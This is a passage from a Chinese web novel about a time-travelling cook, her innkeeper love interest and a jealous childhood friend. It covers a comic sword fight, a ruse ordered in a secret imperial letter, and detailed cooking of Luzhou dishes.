只不过眼下除了陛下的事,还有一件他藏不住逃不脱的事,“六水,你刚才为何要让那白承茂住下?”原是寻常一问,可偏生张清寒心里含着气,乍一听便酸得很。 程六水眨巴着眼睛,拄着下巴道,“因为……这一千两银子啊,你看如今你没了官职,这酒楼前身虽是皇城司的,可现下却确确实实是在你的名下,没了皇城司的兜底,我们得精打细算呀。 四方都算过了,此去京城和北戎,我们一行人正正好好要九百七十两白银,要是用酒楼这些日子赚得钱多心疼啊,这白来一个冤大头,死乞白赖就想住在酒楼里,你说可不得他出钱嘛。” “……你知不知道那个白承茂心怀鬼胎?你知不知道他的心思?”张清寒被说得差点哑口无言,只能缓了几口气道。 “我知道啊,白姐姐不是先前都说过了吗?那我知道他的心思,和赚他的钱有什么关系?难不成谁喜欢我,我就得避而三舍啊?”程六水直愣愣地看着张清寒,半点不遮掩道。 “所以你都知道,那你也知道我……”张清寒激得脱口而出。 可惜程六水没有给他这个机会,她立刻开口道,“我知道你的,这一千两除去九百七十两,还剩三十两,不如给我们发一人五两的奖金好不好!” “好耶!”杜少仲立时鼓掌喝彩,兴奋不已,乔四方拉着刚从楼上下来的马陶陶,开心地转圈。 张清寒静默良久,脸色都憋红了才道,“好,就当奖金发了。” 程六水笑嘻嘻地靠在赵玉雨身旁,看着张清寒逐渐离开后院的背影,一颗紧绷到不行的心这才放下来,真是傻瓜,他与白承茂能一样吗? 第94章 “你来得也是巧,前两日宫里的钱大人刚在此间借宿,幸亏他走了,不然你就是付钱也没地方睡。”程六水推开窗子,迎风立于此,俯瞰着街市的车水马龙。 “六水,你这些年过得好吗?”白承茂则欲言又止,扭扭捏捏了半晌,也只问出了此话。 程六水这才扭头看去,眼神中略有困惑道,“你觉着呢?”她记忆中的白承茂是个横冲直撞的少年人,成天同她山间捉鸡逗狗的,就算是多年前在京中的最后一见,也是直截了当得很。 不曾想,这人年岁渐长,却愈发吞吞吐吐了起来,还真是个怪事。 “瞧着你倒是很喜欢这里。”白承茂被这么一反问,倒是不觉着有什么,只是走到她身旁道,微微抬起手欲要触碰她,却又不敢碰,怕眼前的六水只是黄粱一梦,便就这么静静地与她并肩而立,他已是很是知足了。 “是啊,这样忙忙碌碌舒舒服服的日子是最好不过的了。”程六水笑着道,侧首接着问道,“你如今可是小店的大主顾了,大主顾有没有想吃的菜?我这个厨子可得小心伺候着呢。” “我不是什么大主顾,更不需要你的伺候,我只是想来看看你,看你过得好不好,看你愿不愿意……”白承茂如一弧怎么压也压不灭的泉 眼,如水般的感情蓬勃汹涌地冲向了眼前之人。 “愿不愿意什么?”程六水眼眸一转,依旧笑盈盈地望着他。 “你愿不愿意随我去京城,愿不愿意过回少年时的日子,就我们两个无忧无虑地在一起?”白承茂似是被鼓励了般,再也藏不住心中多年夙愿道。 而屋外一个两个三个,足足五个人正在趴门缝听墙角,“东家,你看看你磨磨蹭蹭的,竟让这姓白的小子抢了先。”杜少仲恨铁不成钢道,他那耳朵都要贴到门后去了。 “是啊,这白承茂与六水是两小无猜青梅竹马,这样的情分可不是谁都能有的。”马陶陶在一旁撇着嘴附和着,专挑张清寒的肺管子戳。 “要我说,这白承茂确实不错,年少袭爵文武双全的,还洁身自好,心里只有六水,这么想来确实是个好郎君啊。”赵玉雨添油加醋着,嘴角沁着一丝与六水颇为相似的邪恶笑容。 她边说边打量着张东家的神情,哎呀妈呀比厨房的锅底都要黑了,真想让少仲赶紧画下来做个纪念。这么想着,她便不知从哪儿掏出了炭笔纸张,悄摸摸给了杜少仲,杜少仲立即心领神会偷偷摸摸地开始就地作画。 嘿嘿清寒这脸都要气歪了,眼睛眯得跟被蜂子蛰了一般,鼻子不是鼻子脸不是脸的,杜少仲一瞅那真是画兴大发啊。 “我们老大也文武双全的,也洁身自好,哎就是个锯嘴的葫芦,啥也说不出来。”乔四方默默在张清寒身后说着,说得张清寒头发都要立起来了。 “你们是来气死我的是吗?”张清寒本就心如刀割,醋得翻江倒海,被这几位一说恨不得直接从这二楼跳下去得了。 那是他不开口吗?是他每次开口都被六水打岔了去,可为什么六水却要顺着白承茂的话茬问下去呢?难不成她真的倾心于他,之前种种都是对自己的拒绝吗?想到此处,好端端一个七尺男儿竟有些撑不住了。 酒楼伙计们她瞅瞅他他瞅瞅她,谁也不说话了,只是一个劲地笑,他们不是来气死张东家的,他们是来看热闹的,而且这热闹还是六水特意叫他们来看的,就连玉雨的炭笔都是六水特意备好的。 屋里静得掉根针都能听见,所有人都在等待程六水的回答,只不过只有两人是揪着心绷着脸的。 “年少的日子确实是好,那时春日里下了学,我便去漫山遍野追蝴蝶采野花,到了盛夏便去溪涧抓鱼,山里的鱼儿肥得很,可惜那时我不会烤鱼,只能养在缸里玩,玩几日就被大师兄偷走炖了吃了。至于秋冬更是潇洒肆意得很,天冷了不用去上学堂,窝在厚实的棉被里,吃着瓜子花生,烤着热乎乎的炭。”程六水没有看白承茂,她只是看着远处一望无际的天儿道。 “只要你想,你我依旧能过这样的日子,我会护你一世无忧,我们日日都如年少般那样可好?”白承茂上前一步,轻轻拉住六水的手道。 “承茂,你变了我也变了,我们回不到从前了,从前我们稚气未脱只是到处疯玩,如今你已是侯爵,而我也很喜欢在江陵的小日子,何必强求呢?”程六水推开了白承茂的手,天真无辜的脸上说着最伤人的话,却好似懵懂无知。 白承茂不禁退后了几步,就这么几步他神情大变,原本那予取予求的温和面容竟全然不见了,双眸狠厉得如豺狼虎豹般,他硬生生掰过程六水,眼角发红声音颤抖问道,“你是喜欢江陵还是喜欢江陵的人?” 程六水倒是也不惧,抬起头来径直对上了白承茂那张早已扭曲的脸道,“我都喜欢,怎么你要强迫我吗?” “呵,你都喜欢?你是喜欢张清寒吗?”白承茂神色愈发癫狂,锢住六水的肩膀,发疯似地大声吼叫道。 这下子,那本来要推门而入将白承茂扔出去的张清寒不动了,没人敢动,所有人竖着耳朵生怕自己漏了一星半点没听见。 “我……我就不告诉你,就不告诉你,就不告诉你。”程六水说着说着,都唱起来了,但别说这唱的调子还挺好听。 “哐当”一声,幸亏酒楼的木门是刚换没多久的,要不然张清寒这么大劲儿直接就能给踹掉,他快步走进房中,一把揽过程六水,一字一句说道,“我喜欢六水。” 程六水不可置信地看向张清寒,小心脏一个劲儿砰砰乱跳,天啊天啊这不就是偶像剧里男一男二修罗场吗?她这么一想,小脸瞬间红通通的,嘴角的笑想憋都憋不住。 窗外小风吹得不错,艳阳天也不错,张清寒更不错!不对,不是不错,而是太浪漫了,程六水知道自己现在应该按照偶像剧女主的套路,说什么自己不是男人们争抢的对象,然后负气走掉,但她做不到啊,真的做不到啊,她不仅没做到,她甚至做了点别的。 张清寒说完了这话,气势汹汹地看着白承茂,却不敢看一眼六水,他此举已是唐突了六水,可他冲进来那一瞬已是顾不得旁的了,他忍了太久太久,久到满心满眼都是那个成天哄骗他的小骗子,他此生是不会放过这个小骗子的,小骗子走哪儿他跟哪儿,休想甩掉他。 忽然之间,他脸颊上落下了个轻飘飘软绵绵的东西,他不会动了,话都说不出来了,就那么愣愣地看着六水,六水做了什么?她亲了自己? “啊!!!!”屋里的三人都没反应过来,只听屋外看热闹不嫌事大的四个伙计,发出了雷鸣般的叫喊,就差蹦高磕着头了。 “张清寒!”白承茂气急败坏地抽出了腰间的剑,剑锋直指张清寒的脖颈处,怕是下一瞬就要砍下来了。 可那张清寒却看都没看白承茂一眼,胸膛急切地呼吸着,原本冷白的脸绯红一片,一动不动地望向六水的嘴唇,喜欢真喜欢啊。 而这一切混乱的罪魁祸首程六水都被张清寒看得浑身不自在了,真是的看什么看,没见过亲嘴呀!土老帽! “那个……他好像要杀了你哎。”程六水撇着嘴小心翼翼地戳了戳张清寒道。 “没事,他打不过我。”张清寒这回更加变本加厉,拉住程六水的手,轻轻地触碰着刚才她亲过的脸颊,眼波流转间十成十的羞怯惊喜,哪里藏得住啊。 “张清寒你欺人太甚了!”白承茂也是被气昏了头,真真将剑刺了下去。 方寸之间,只见那张清寒身似鬼魅般一闪而过,正正好好躲开了他的剑锋,竟还有余力将程六水轻轻地带到了屋外,生怕刀剑不长眼伤了她。 “躲什么躲,你张清寒如今只会躲吗?!”白承茂到底是少年气盛,细细算来年纪也就同六水差不多大,再深的城府也忍不了如此场面,心心念念的心上人竟当着他的面,与他人举止亲昵。 定是眼前这个老谋深算的铁面阎罗哄骗了他的心上人,待他手刃了张清寒,六水便知到底谁才是世间英豪了。 这俩人竟真的缠斗了起来,只不过明眼人一瞧,便知张清寒武功远胜于白承茂,他不知从何处拎起一把剑来,剑并没出鞘,落英缤纷般的剑影在虚空中呼啸而过,莫说是白承茂了,就是武功不错的乔四方都看不清那招式。 可叹被气昏了头的白承茂,早就忘了彼此差距过于悬殊,一个猛子就扎进了剑影,左边挡不住右边砸两下,不多时浑身上下就青紫一片,幸亏是剑没出鞘,不然早就皮开肉绽血肉横飞了。 几个回合下来,那白承茂直接瘫倒在地,却气血上头仍是叫嚣道,“你是不是瞧不起我?!你出剑啊!” “你真的很吵。”张清寒冷着脸抱着剑,随手拿了块小石子轻轻一砸,好了终于安静了,白承茂脑袋肿了个大包,“啪嗒”躺在了地上。 第95章 正在此时,远处传来一声清脆的鸣叫,一只扑闪扑闪翅膀的灰褐大肥鸟正摇摇晃晃地朝着酒楼后院飞来,偏生这鸟生得太过圆润,一个俯冲没飞 稳,硬生生碰瓷般向着地面砸去,一个猛子扎进了昏睡不醒的白承茂头上,好家伙又砸了一个大包。 “这鸟咋瞅得这么眼熟呢?”乔四方挠了挠头道。 张清寒上前一步,解救了这只翻不起来身的胖鸟,“当然眼熟,皇城司最胖的一只就是它。” 他从胖鸟爪子那儿取下了个信筒,这信纸触手平平无奇,却传来淡淡的香气,此香张清寒再熟悉不过了,必是太和殿的龙涎香,皇后娘娘又加了几味和缓心境的香料,配着给陛下用。 打开信纸,一长段信细细读来字字惊心,众人只见张清寒的脸色红橙黄绿青蓝紫各来了一遍。 “东家不是已经被降为庶人了吗?怎么还会有皇城司的密信啊?”程六水好奇地小声蛐蛐道。 “不知道,你怎么还叫东家,你们嘿嘿。”马陶陶眯着眼睛,一脸吃瓜地看向程六水。 “嘿嘿,我就要叫东家~”程六水这妮子着实是个厚脸皮,说罢还瞥了张东家一眼,结果就看见那张东家站都站不稳了。 “哎东家!你没事吧?”程六水一声惊喝,众人皆是惊了,齐齐跑过来扶着张清寒。 张清寒倒是自力更生,勉强摆了摆手,紧接着自顾自地走到了白承茂身旁,整整齐齐地躺下了,生无可恋地看了看白承茂,直接闭上了眼睛。 这下子这几人都丈二和尚摸不着脑袋,一个个围着地上的张清寒叫道,“东家你怎么了,你可别吓我们啊。”那感情充沛的都直逼声嘶力竭了,不知道的还以为地上这俩人都不久于人世了呢。 还是其中最有脑子的杜少仲悄悄捡起了掉在地上的信纸,展开一读真好,他也说不出话来。 “见信如唔,吾甚是思念卿,日夜辗转反侧不能入眠,然家中总管欲窃家而逃,吾虽及时发觉,可卿与总管素有旧怨,吾便执卿为棋,迷惑人心。近日有一家丁去卿处贬卿,莫要在意,只需好好对待此家丁,即可迷惑总管及家中积怨之人,待来日吾与卿定秉烛夜谈,笑聊其中事。——如如留。” 马陶陶倒是不明就里,一字一句地读了出来,读完她皱着眉苦着脸,一脸震惊疑惑道,“这个如如是谁?” “这信怎么写得有点不正经又有点正经呢?”程六水也百思不得其解,与地上哭天抹泪的几人面面相觑着。 “清寒,这如如莫不是明如的如吧?”杜少仲忽然茅塞顿开,拍了拍脑袋,激烈地摇着张清寒的肩膀道。 张清寒实在没招,装睡装死不成,只得勉强开口道,“是。” “明如是谁啊?”赵玉雨也凑过来道。 “明如是当今陛下的表字,那这信这话,啊我懂了原是调虎离山瞒天过海,最后再瓮中捉鳖。”杜少仲手舞足蹈地比划着,终是参透了陛下的用意。 “你别跳了,这派出来的白家丁已经躺地上了,京中意欲谋反之人万一就此发现了陛下的企图,怕是不妙啊。”张清寒坐了起来道。 “躺地上又如何?只要那外人看着承茂在酒楼一切如常不就行吗?”程六水思量片刻道。 “你是说?”张清寒恍然大悟道。 “对,就是这样!”程六水扬起了她十分经典的邪恶笑容。 于是酒楼大堂的桌前就多了个坐得板板正正的白承茂,那椅子是特制的,用极为柔软的细线束住了他的四肢,这才能坐得稳当,这昏睡怎么也睁不开的眼皮也是有招的,米纸蘸浆糊拉着他这双大眼睛不得不显露真身。 远远一观,竟真像个那么回事,酒楼外的探子当真以为白小侯爷正在这酒楼大堂晒太阳,他身旁还围坐着杜尚书家的公子,马大人家的小姐,几人嗑着瓜子花生,瞧着很是相谈甚欢。 探子这才放下心来,悄悄给京中送了信去。 “哎呀这瓜子真好吃啊,小侯爷就是没有口福,只能瞪着俩大眼睛在这儿瞧。”马陶陶面前那瓜子皮都堆成小山了,还止不住地嗑呢。 “你少吃点,给我留点啊,我嗑得没你快。”杜少仲两只手都用上了,还是只能捡瓜子漏。 “你俩别吃了,不是说只是做做样子吗?这半筐瓜子都没了,小心夜里上火。”赵玉雨从厨房过来,本是要去柜台取些东西,路过这桌前实在没忍住说道。 “放心,我从来不上火。”马陶陶信誓旦旦地说道,手一刻也不停,说话也不耽误吃。 “那你总要留着肚子,吃点六水的拿手菜吧?”赵玉雨笑道。 “什么拿手菜?没人和我说六水要做拿手菜啊?”马陶陶这下子不嗑瓜子了,拍了拍手就要朝着厨房冲去。 “那白小侯爷来,自然是要做些席面吃的,六水说他俩都是在庐州待过几年的,要做些庐州菜给小侯爷尝尝。”赵玉雨答道,然后便左手拉住了正要起跑的马陶陶,右手挡住了要去厨房偷吃的杜少仲。 “你们俩老实在这儿待着,后厨现在可不是我们能进的,不然某人是要生气的。”赵玉雨憋着笑道。 “哦~某人啊,啧啧啧真是小气。”杜少仲这才明白,也跟着笑了起来。 而后厨中的张·某人·清寒正在卖力忙活着,大块的牛肉牛骨泡出了血水,他再换遍水。紧接着老母鸡也得处理干净了,取出脏器独留鲜嫩的鸡肉,再在老母鸡上扎些孔子,这样到时候炖煮起来才更入味。 “东家,你怎么这么厉害啊,连老母鸡都会收拾了。”程六水笑嘻嘻地窝在圈椅里,端着盏清茶,小腿一翘地看着张清寒收拾,别提多惬意了。 张清寒一听脸就红了,头都险些抬不起来,半晌才道,“你别叫我东家了,我们我们……” “我们怎么了呀?”程六水站起身来,一步步走向张清寒身前,那盏清茶顺理成章地递到了他嘴旁。 “你……”张清寒这下子手里活都停下来了,目不转睛地看着程六水。 “怎么不想与我共饮这盏茶?”程六水探着身子,如同那话本子里吸人魂魄的貌美妖精,一眼便是万般风情,偏生生了张再清纯天真的脸,如此诱得人一再深陷其中,等再回首早已万劫不复了。 张东家寒星般的眼眸早就热了起来,就着程六水的手饮尽了这盏茶。 “真乖。”程六水刚想抽出手来,回去继续窝着,不曾想一股温柔却极大的力气困住了她。 张清寒洗净了的双手牢牢拉住了她,一下子就将两人拉得极近,近到轻易察觉到他略微急切的轻喘。 “你你你,你做什么?”程六水这下子才发觉自己招惹的可不是个只知摇尾巴的小狗,明明是头不折不扣的大尾巴狼。 她止不住地身体发颤,红晕洇开在极白的脸颊上,怕倒是不怕的,可不知为何整个人仿佛置身于滔天巨浪中,而眼前之人就是她那一叶扁舟上的船桨,只是这桨怎么一下子变得这么凶啊。 张清寒的指尖轻轻擦过她的嘴角,目光愈发深邃,甚至妄想在那殷红的嘴唇上留下印迹,清茶怎能解渴,她总该给自己些别的。 “茶叶子。”他半晌才道,手指上正是方才粘在六水嘴角的毛峰茶。 “哄”得一下,六水是脸红鼻子红连耳朵都红了,好似个热锅里的虾子,想逃又没地方逃,瘪着嘴立着眼道,“你快放开我。” 一颦一笑尽见小女儿家的羞怯不安,看得张清寒是想放又不想放,放了手却放不下心。 “那你以后唤我什么?”张清寒微微低下头,耳朵凑在了程六水的唇边。 程六水嗔怪地瞧了眼他,勾了勾手令那耳朵凑近些,这才道,“唤你个大头鬼啊!你这人还敢威胁我!吃我一巴掌!” 这下好了,不止六水耳朵红了,张东家也红了,只不过他这是自作自受被拧红的,要是六水心再狠些,今晚估计就得加个猪耳朵了。 张清寒可怜巴巴地切着豆腐丁,时不时还揉了揉自己的小耳朵,想说话还怕被骂,只能极小声道,“我……我只是想让你唤我唤的亲近些嘛。” “哦?那你想我叫你什么?”程六水这回没回去坐着,她直接拿着把菜刀当监工了,哼这厮三天不打上房揭瓦! 一时间,张清寒也难住了,两人如今虽是算作心意相通了,可到底没有成婚,那夫君相公都是叫不得的,要不然他们明天就成婚吧!但也不行,成婚要父母之命的,得先将六水的父母寻回来。 “你不会想了半天,也没想好吧?张东家~”程六水扛着菜刀,笑盈盈地嘲笑道。 “你定嘛,以后我都听你的。”张清寒也不恼,只是 抬起头说道,本来好好一北境男儿,谁知在六水面前竟也生出了些许烟雨江南般的柔情似水。 第96章 “大哥,你起来点,我要炖牛肉了。”程六水边说着,边把焯好水的牛肉牛骨捞起,放进了盛满开水的大铁锅里,灶下柴火烧得正旺,咕嘟嘟得冒泡。 “……我不想你叫大哥。”张清寒倒是挪地方不碍事了,可一个人在那儿嘟嘟囔囔的。 “啥?”程六水又将葱姜花椒辣椒扔进了锅里,再来些八角桂皮香叶茴香草果,甚至在里面还放了几位中草药,一下锅便是满屋子的香料味。 她左手拿着锅盖正要盖盖子,右手拎着个大菜刀准备切豆腐皮,烟雾缭绕中压根没听清张大哥说了些什么,只能开口问道。 张清寒看着她这架势,生怕自己被锅盖砸了,只能悄悄咽下自己微不足道的意见,抿着嘴苦笑道,“没事,我帮你切豆腐丝吧。” “嘿大哥,你人真好。”有人帮忙干活,程六水自然是乐得蹦高。 两方案板,一边是张清寒切着等会下入牛肉汤的豆腐丝,一边是程六水嘁哩喀喳地切肉,这肉是庐州本地的腌咸肉,与益州的咸辣,两广的甜鲜不同。庐州此地居于南北交界,四方人皆来此处,当真是众口难调,久而久之这地的菜色竟化繁至简,主打一个咸香醇厚。 这腌咸肉便是如此,取那最好的肋条肉肥瘦相间还带点五花,取了酒擦拭片刻,再换盐粒白糖香料一同放入瓦罐里,腌个五六七天,这时肉早已入了味,乍一闻都令人口水直流。可却还没完,把那肉上的腌料擦净,挂在屋外风干日晒,晒个半个月就好了,这时的腌咸肉能放好几个月,极易保存。 而程六水手里这块腌咸肉是她过年时腌的,如今吃起来正正好好,方才牛肉泡血水的时候,她就将这咸肉冷水下锅煮上了,煮好放凉便开始切肉,咸肉片需得是极薄的,这样等会蒸出来才能晶莹剔透的好看好吃。 不一会她便切满了整整一盘子,一个个小片咸肉码得齐齐的,正欲放进蒸锅里。 “六儿,这是什么菜啊?”张清寒切好了豆腐丝,乖乖说道。 “这叫刀板香,等下蒸出来拌饭吃,甭提多香了。”程六水笑着说道,说完才反应过来,眉头紧皱道,“你叫我什么?” “六儿啊,我给你起的,好听吧?”张清寒正邀功般笑道。 六儿?程六水咬牙切齿地在心中默念着,还六儿,你怎么不直接叫我老六呢,真是谢谢张清寒这个老六了。 “不好听,你就叫我六水,我就叫你清寒,咱俩也别整那些花里花哨的了。”程六水生无可恋地看着张清寒,气鼓鼓地说道。 “……这样会不会没有那么亲昵啊,如今我们都在一起了,总得让旁人知道啊。”张清寒说着说着竟还羞怯了起来。 “管旁人做什么,我与清寒在一起便是最好的了。”程六水张嘴就是说到张清寒心坎里的情话,给张清寒乐得都合不拢嘴了。 “好,都听你的。”张清寒羞答答道。 程六水不禁也笑了,虽是心中暗自吐槽这人怎么黏黏糊糊的,却也甜滋滋得很。 只不过这厨房可不是给他黏黏糊糊的地方,程六水还是极分得清什么是正经事的,她在另一侧灶台上又支起了大锅,放入几块洁白的猪油,锅中化开烟气四起,再把方才那处理好的老母鸡放入锅中,手脚麻利地淋上热油,不多时整只鸡都煎成金黄的了。 这下子,这鸡才算是定了型,不然等会儿放进炖锅里炖着,没两下就散架子了,炖锅里早就放好泡好的香菇笋片甚至还有火腿,此时再将这金黄的整只鸡放入其中。 先是倒些黄酒进去去腥,随后程六水竟转身取那桌案上泡好的毛峰茶,半壶茶汤直接倒进了锅中。 张东家又看得眼都直了,他只知龙井虾仁这等用茶汤做的菜,却没见过茶也能炖鸡的,瞧着他就想吃,其实张东家也是个馋嘴的,只不过平常总是冷着张脸,旁人看不出他其实吃得最多。 “六水,这菜我也没吃过!”张清寒跟在程六水身后,眼巴巴道。 “吃吃吃,炖好了第一个给你吃。”程六水笑道,她在炖锅中又放了些盐巴白糖调味,便盖盖炖煮了起来。 她实在是瞧着张清寒有趣,故意逗他道,“下一道菜你也没吃过,你怎么什么都没吃过啊。” “下一道菜是什么?我想吃!”张清寒本是个脾气不太好的人,只不过这么些日子在程六水的磨练下,已然成了个怎么逗都不恼的人,而且一心就想着吃…… “毛豆炸酱,庐州名菜。”程六水取出洗好的毛豆,笑眯眯道,这道菜或许不会出现在庐州的任何一场席面上,却会出现在庐州大街小巷每一户人家的饭桌上,想想她都要流口水了。 起锅烧油蒜末爆香,肉丁下锅一滑再倒入满满一盘毛豆,原本翠生生的毛豆烹得熟绿了,就该放张清寒刚才切地豆腐干丁了,再放些黄豆酱和白糖,开水加进去炖一炖更入味了,最后起锅加入红辣椒丁翻炒,如此简单的一盘菜就出锅了,红绿相间肉香豆香四溢,浓稠的酱汁裹满在毛豆上。 程六水现在就想来一碗大米饭,把这炸酱毛豆盖在粒粒分明的白米饭上,任由那酱汁浸润了米饭,一口饭一口毛豆,真的是神仙都不换啊。 她正在这儿陶醉呢,转头一瞧,那张清寒正津着鼻子闻得起劲,怕是自己不在,就要偷摸吃一勺了。 程六水偷摸笑着,越瞧越觉着这人从前只是个顶天立地的男子,如今却愈发可爱了起来,哪哪儿瞧着都这么有意思这么喜欢呢。 她摇了摇头,试图摇走自己脑袋里发痴的念头,掀开了牛肉汤的锅盖,这下子那牛肉的醇香刹那溢满了整个厨房,“别闻了,快来切牛肉片了。” 张清寒听了招呼,才颠颠地跑了过去,逆着牛肉的纹路切薄片,现代面馆里的厨子切肉,那可真是薄得能看见亮光了,而张清寒没见过那些个招数,十分实在地切了起来,牛肉片个顶个的扎实。 大大的汤碗放了豆腐丝粉丝,加了些简单的盐巴胡椒粉调味,热滚滚的牛肉汤倒了进去,那粉丝瞬间油亮了起来,吸满了醇香的牛肉汤,怕是比汤里的牛肉片还要好吃呢。 大堂里,几个伙计陪着白承茂坐着,闻着后厨传来的阵阵异香,一个个都想跑,可跑了白承茂咋整,万一椅子上的哪条软线断了,小侯爷就“啪嗒”倒了,那不就露馅了吗? 乔四方探出鼻子,在空中转了好几个圈,念念有词道,“这是上等牛肋条的味道,这是老母鸡的味道,呜呜呜这是腌咸肉的味道,都是我爱吃的味道。” “都是你爱吃,但你现在吃不到的味道。”杜少仲同病相怜地说道。 “等会儿,这香味越来越近了,让我再闻闻!”马陶陶在一旁闭着眼睛沉浸其中,朝着厨房的方向悄悄挪着小碎步,意欲跑路去厨房。 “哎呦喂,你们仨在做啥子呢?”程六水端着一盅炖的极为软烂的毛峰焖鸡,刚推开后厨与大堂中间的小门,就见有三个馋得流口水的人,穷凶极饿地闻来闻去。 赵玉雨起身接过了程六水手中的毛峰焖鸡,笑着道,“你要是再不来啊,估计他们就要去抢厨房了。” 跟在六水身后的张东家端着一锅淮南牛肉汤过来,闻之亦是会心一笑,只不过打眼一看,桌上还有个白承茂,好心情瞬间少了些。 一桌子林林总总有七八道菜,毛峰焖鸡,淮南牛肉汤,刀板香,炸酱毛豆,另配上几道清炒时蔬,着实是有些庐州味道,在座几人都不曾在庐州久住,故而只顾着飞快地舞动着筷子吃起来。 可程六水记忆中确 实有这样一桌子菜,她总是眼巴巴地看着那油滑爽嫩的大鸡腿,眼睛都要掉进去了,爹娘笑嘻嘻地故意装看不见,非得逗得她嘟着嘴流口水,这才掰了最大的鸡腿给她吃。 想着想着,她忽然才发现自己碗里真的有个大大的鸡腿,抬起头来一看,这盅里的毛峰焖鸡已经被瓜分的差不多了,人人碗里装得满满登登的,就连板板正正坐着的白承茂碗里都有个鸡翅膀。 程六水一口咬下去,清而不腻的鸡油混合着滑嫩无比的鸡腿肉香,在她口中瞬间爆开,恰到好处的茶香若隐若现,那出锅前焖在锅里的毛峰茶尖在嘴里咀嚼着更是清香得很。 可惜她这人做饭手脚麻利,吃饭却赶不上饭桌上的人,鸡腿还没啃完呢,一碗混着油泼辣子的牛肉汤,半碗炸酱毛豆拌饭,上面还点缀着好几片肥瘦相间的刀板香。 真好啊,程六水心想着,有一群饿鬼朋友们的好处就是穿越到古代也能吃着现代西方社会的分餐制。 “哎呀,白小侯爷,你也吃!”乔四方坐在白承茂身旁,一边分还一边吆喝着,可怜那白小侯爷看不见吃不着还睡着呢。 第97章 一阵阵异香唤起了缕缕意识,白承茂浑身痛得厉害,尤其头痛欲裂,他几欲清醒却难以维持,浑浑噩噩间忽而嗅见了似曾相识的饭菜香,耳边轰隆隆地嘈杂声响,令他不禁皱了皱眉。 “六水,这毛豆拌饭吃太下饭了,我今天都吃两碗了,可不能再吃了,我都要变胖了。”马陶陶揉了揉自己肚皮,撑得都坐不直了,其实不止两碗饭,她还喝了一大碗牛肉汤。 “一点都不胖,多吃点!”程六水笑嘻嘻道,边说边给陶陶又夹了几片刀板香,咸肉上了蒸锅后醇香扑鼻,无时无刻不在挑战着马陶陶不坚定的意志。 嘿嘿姐妹可爱的肉肉,才是程六水的毕生追求,毕竟她自己最近也有点吃胖了,她悄悄就吃了半碗毛豆拌饭外加一个大鸡腿,鸡腿嘛怎么也不可能胖的! “真的吗?那我可吃了。”马陶陶顿时笑得比花还灿烂,立马就又要动筷子。 “真的,是不胖就是脸圆了一圈。”一旁正在哐哐干饭的乔四方忙里偷闲地开口道。 “什么!”马陶陶顿时大惊失色,赶紧跑去柜台后面找铜镜,果然真的圆了一圈,再一瞧那程六水面前就放着那么一小碗饭,瞬间识破了她的奸诈诡计。 “六水,你个大骗子!”马陶陶拎着铜镜就朝着六水冲过来。 “哎呀救命啊,天地良心啊我可是大大滴好人啊。”程六水身影十分灵活地就要跑,两人在这大堂里你追我赶的,生生绕了十来圈,好家伙这下子谁也胖不了了,都变瘦了。 “那个……有没有人管管我啊。”在这一片喧嚣吵闹中,一声极其微弱的声音传来,刹那间所有人都不敢动了,这声音陌生又熟悉,啊白小侯爷醒了! 酒楼几个臭皮匠你看看我我看看你,谁都不想上前说话,最后只能一个拉一个站在白承茂跟前。 白小侯爷一睁眼,好家伙六双眼睛齐刷刷地看着他,差点给他又吓昏了,再定睛一看,六水就在自己边上,如此关切地望着自己,心中一阵妥帖,百转千回间连那浑身的伤痛都忘了。 “六水,你还是在意我的对吗?”白承茂眼里压根看不见旁的,急切地拉着程六水说道。 然后酒楼的大堂里就传来了阵阵咬牙切齿的磨牙声,甚至都咳了起来,十分震耳欲聋。 程六水看看掉进醋缸里的张清寒,看看病弱不堪的白承茂,犹豫片刻才开口道,“要不先吃个饭吧。” “是你特意为我做的吗?”白承茂话音刚落,肚子就咕噜噜叫了起来,拿起筷子就将眼前三大碗全扫荡一空。 “哎呀瞅给这小侯爷饿的,他不会吃饱喝足回了京城,说我们欺负他吧?”乔四方一边看,一边悄声在杜少仲耳畔道。 “不会,咱又不是抗旨不尊打了他,因着儿女情长大打出手,还打输了,他要是说出去,他比咱丢人。”杜少仲信誓旦旦说道。 “嗝……你们再大点声,京城的人都能听见了。”白承茂忽地转过头来,恶狠狠地看向杜家大公子。 这下子给杜少仲吓了一大跳,试图用最微弱的声音问道,“我说得很大声吗?” “确实很大声。”程六水端出标准八颗牙齿的微笑道。 紧接着她来到气鼓鼓的白承茂跟前道,“吃好了,我们去河边散散步吧。” 白承茂听了这话,瞬间哪也不痛了,胳膊腿比谁都利索,“走,我们这就走。” 天朗气清,断口子河河面上时不时落了两三只水鸟,几只常居于此处的野鸭子也悠闲自得地游来荡去。 程六水立于垂柳成荫下,静静地望着河面,似是在看对岸的什么人,却又似什么也没看,她见了白承茂确实又想起了不少往事,这些往事是她不曾真正经历过的,却令她无比羡慕。 在她还没有长成如今这副模样时,原身程六水的幼时少时是她幻想都幻想不来的,父母师门如同一颗参天大树庇佑着一个尚梳着双垂髻的六水,无论她做什么都只会得到宠溺一笑,即使是惹了祸事,顶多被吓唬一通,无人舍得真的怪她怨她。 而她这个从现代穿越而来的程六水,没什么值得依靠的,还好最终依靠住了自己,而在这个她从不认识的朝代里,她遇到了一个很好很好的人。 这个人总是会在她危险的时候保护她,即使有时候还不如她的药丸子管用;这个人还会陪着她做喜欢做的事,明明笨拙地连大白菜和小白菜都分不清。 她想,这样的一个人,能够彼此陪伴走一段路已是幸事了,过一段这样安心欢喜的日子,穿越真的很好。 直到她在张清寒原本寒气逼人的眼眸里看见了些许她看不懂的东西,这样的东西愈来愈明显,明显到酒楼里的朋友们都发现了,可她却怕了。 从没有得到的糖,凭空出现在自己的掌心里,她的第一反应不是占为己有,而是心底不断滋生的恐慌,她没吃这样的糖,连是甜是苦都不知,哪里真的敢尝。 说到底,她是要感谢白承茂的,这个儿时随原主一同偷鸡摸狗的玩伴,他的到来激得张清寒乱了章法昏了脑袋,也让她第一次尝到了这颗糖的甜,虽然甜得有点发酸,但她很喜欢。 “承茂,你回去吧,我已经有喜欢的人了。”程六水收回思绪,直截了当道。 “是张清寒吗?”白承茂苦笑着,却仍不舍得将目光从六水身上移开。 “是,你我一起长大,你最该知道我的性子。”程六水意有所指,脸上虽是笑着,却一时间高深莫测了起来。 白承茂这才将将移开了眼眸,撇着嘴挤出了几分笑意道,“你天生一副笑模样,内里却是个爱恨极分明的性子,犟起来九头牛都拉不回来。” 他顿了几下,这才缓了口气道,“可若是你撞了南墙,就算无人拉你,你也会跑得比谁都快。六水,你怎知那张清寒就是良配,而非南墙?他十几岁便得了圣人青眼,做了那满是阴私的皇城司使,手里过的人命何止百来条。这样的人,我怎能放心? 